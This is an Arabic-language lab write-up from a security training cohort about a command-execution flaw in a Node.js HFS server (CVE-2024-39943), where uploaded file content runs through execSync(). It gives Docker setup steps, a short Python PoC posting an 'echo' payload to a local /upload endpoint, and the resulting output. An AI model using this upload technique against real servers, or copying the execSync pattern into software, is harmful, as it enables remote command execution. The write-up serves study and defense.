ثغرة تنفيذ الأوامر في Node.js HFS (CVE-2024-39943)

الدفعة الثالثة من مدرسة القبعة البيضاء – نو جونغ مين (@JenmrR)

الملخص

في بيئة خادم HFS القائمة على Node.js، توجد ثغرة يتم فيها تنفيذ محتوى الملف المرفوع عبر child_process.execSync().
يمكن للمهاجم تنفيذ أوامر نظام التشغيل مباشرة من خلال ميزة رفع الملفات، والاطلاع على نتائج الأوامر الداخلية للخادم أو التحكم في النظام.
هذه ثغرة تتوافق مع CVE-2024-39943، وتشكّل تهديدًا بنفس مستوى حقن الأوامر (Remote Code Execution).

إعداد البيئة والتشغيل

1. تشغيل الخادم عبر بيئة Docker
2. يستقبل الخادم رفع الملفات عبر المسار /upload، وينفّذ محتوى الملف المرفوع كأمر مباشرة
3. يمكن للمهاجم تنفيذ RCE من خلال الرفع

خطوات التشغيل

$ sudo docker-compose up --build -d

$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

النتائج

استجابة الخادم بعد تنفيذ PoC:

Executed:
Hello_From_Hacked_Server

الخلاصة

• هذه الثغرة هي ثغرة RCE (Remote Command Execution) نموذجية تحدث عند تنفيذ مدخلات خارجية كأوامر لنظام التشغيل.
• إن تنفيذ محتوى الملف المرفوع مباشرة عبر execSync() يشكّل خطرًا أمنيًا بالغ الخطورة.
• يجب دائمًا التحقق من مدخلات المستخدم، وعدم تنفيذها مباشرة داخل الخادم.